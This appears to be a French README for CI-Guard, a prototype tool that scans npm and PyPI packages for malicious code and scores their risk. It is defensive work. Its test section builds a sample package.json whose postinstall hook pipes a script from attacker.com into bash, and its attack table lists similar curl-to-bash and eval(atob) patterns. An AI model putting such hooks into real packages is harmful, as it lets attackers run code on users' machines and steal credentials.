
Outil d'analyse statique qui détecte les dépendances malveillantes dans les pipelines CI/CD en utilisant la correspondance de motifs et l'analyse AST, avec un système de notation des risques à feux tricolores et une vérification optionnelle par bac à sable Docker.
Un outil d'analyse statique pour détecter les dépendances malveillantes dans les pipelines CI/CD avant qu'elles ne soient fusionnées dans votre base de code.
Auteur : Otsmane Ahmed
Statut : Prototype de recherche v1.0
# 1. Cloner et installer
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
python3 -m venv venv
source venv/bin/activate # Sur Windows : venv\Scripts\activate
pip install -r requirements.txt
# 2. Analyser un répertoire de paquets
python3 main_guard.py /chemin/vers/paquet
L'outil renverra un verdict : SAFE (sûr), SUSPICIOUS (suspect) ou BLOCKED (bloqué).
Si vous avez téléchargé un paquet depuis npm ou PyPI et souhaitez vérifier qu'il est sûr :
# Paquet NPM
npm pack suspicious-package
tar -xzf suspicious-package-*.tgz
python3 main_guard.py ./package
# Paquet Python
pip download untrusted-pkg --no-deps
tar -xzf untrusted-pkg-*.tar.gz
python3 main_guard.py ./untrusted-pkg-1.0.0
Vérifier les paquets déjà installés dans votre projet :
# Analyser tous les paquets npm
python3 main_guard.py ./node_modules
# Analyser un paquet Python spécifique
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests
Remarque : l'analyse de grands répertoires comme node_modules sera plus longue. Pour des résultats plus rapides, analysez les paquets individuellement.
Exemple de workflow GitHub Actions :
name: Security Scan
on: [pull_request]
jobs:
scan:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v3
- name: Setup Python
uses: actions/setup-python@v4
with:
python-version: '3.10'
- name: Install CI-Guard
run: |
git clone https://github.com/Otsmane-Ahmed/ci-supplychain-guard.git
cd ci-supplychain-guard
pip install -r requirements.txt
- name: Scan Dependencies
run: |
cd ci-supplychain-guard
python3 main_guard.py ../your-project-directory
Le pipeline échouera (code de sortie 1) si du code malveillant est détecté.
$ python3 main_guard.py ./clean-package
Scanning target: ./clean-package
Running static analysis...
Static Risk Score: 0/100
Verdict: SAFE
Aucun motif malveillant détecté.
$ python3 main_guard.py ./evil-package
Scanning target: ./evil-package
Running static analysis...
Static Risk Score: 18/100
Verdict: BLOCKED (Critical Risk)
Des motifs dangereux détectés (par exemple, injection shell, vol d'identifiants). N'installez pas ce paquet.
Les paquets avec un score de 10 ou plus sont automatiquement bloqués.
$ python3 main_guard.py ./suspicious-package
Scanning target: ./suspicious-package
Running static analysis...
Static Risk Score: 6/100
Verdict: SUSPICIOUS (Score 6). Initiating sandbox...
Certains motifs préoccupants trouvés. Si Docker est en cours d'exécution, le paquet sera testé dans un bac à sable isolé pour vérification. Une révision manuelle est recommandée.
Vous pouvez tester CI-Guard en créant un paquet malveillant exemple :
# Créer un répertoire de test
mkdir ~/test-malicious
cd ~/test-malicious
# Créer package.json avec un hook postinstall malveillant
cat > package.json << 'EOF'
{
"name": "evil-package",
"version": "1.0.0",
"scripts": {
"postinstall": "curl http://attacker.com/steal.sh | bash"
}
}
EOF
# L'analyser
cd ~/ci-supplychain-guard
python3 main_guard.py ~/test-malicious
Sortie attendue :
Static Risk Score: 18/100
Verdict: BLOCKED (Critical Risk)
| Écosystème | Paquets testés | Taux de détection |
|---|---|---|
| NPM | 15 059 | 89,6 % |
| PyPI | 2 257 | 82,2 % |
Temps d'analyse moyen : 1 à 3 secondes par paquet (analyse statique uniquement)
Puis-je analyser des paquets déjà installés ?
Oui. Pointez CI-Guard vers votre répertoire node_modules ou les site-packages Python :
python3 main_guard.py ./node_modules/some-package
python3 main_guard.py ./venv/lib/python3.10/site-packages/requests
Que faire si un paquet légitime est signalé ?
CI-Guard privilégie la prudence. Si vous faites confiance à un paquet signalé :
analyzer/static_scanner.pyFonctionne-t-il sur Windows et macOS ?
Oui. Python et Docker sont multiplateformes.
Ai-je besoin de Docker ?
Docker n'est requis que pour les paquets ayant un score de 4 à 9 (suspects). La plupart des paquets sont clairement sûrs (0-3) ou clairement malveillants (10+).
CI-Guard utilise un système « Feu tricolore » à trois niveaux :
Méthodes de détection :
Les demandes de tirage (pull requests) sont les bienvenues. Pour ajouter une nouvelle règle de détection :
Modifiez analyzer/static_scanner.py et ajoutez à la liste RULES :
{
"id": "SA-XXX",
"name": "Nom de la règle",
"pattern": r"regex_pattern",
"weight": 8 # Contribution au score (1-10)
}
Licence MIT - voir le fichier LICENSE pour plus de détails.
Otsmane Ahmed - GitHub
| Type d'attaque | Exemple | Statut |
|---|
| Injection Shell | curl evil.com | bash | Détecté |
| Vol d'identifiants | Lecture de process.env et envoi vers un serveur externe | Détecté |
| Obfuscation de code | eval(atob('base64...')) | Détecté |
| Scripts d'installation malveillants | Hooks NPM postinstall | Détecté |
| Fichiers binaires | .exe, .dll dans les paquets | Détecté |
| Typosquatting | Noms similaires à des paquets populaires | Vérification manuelle requise |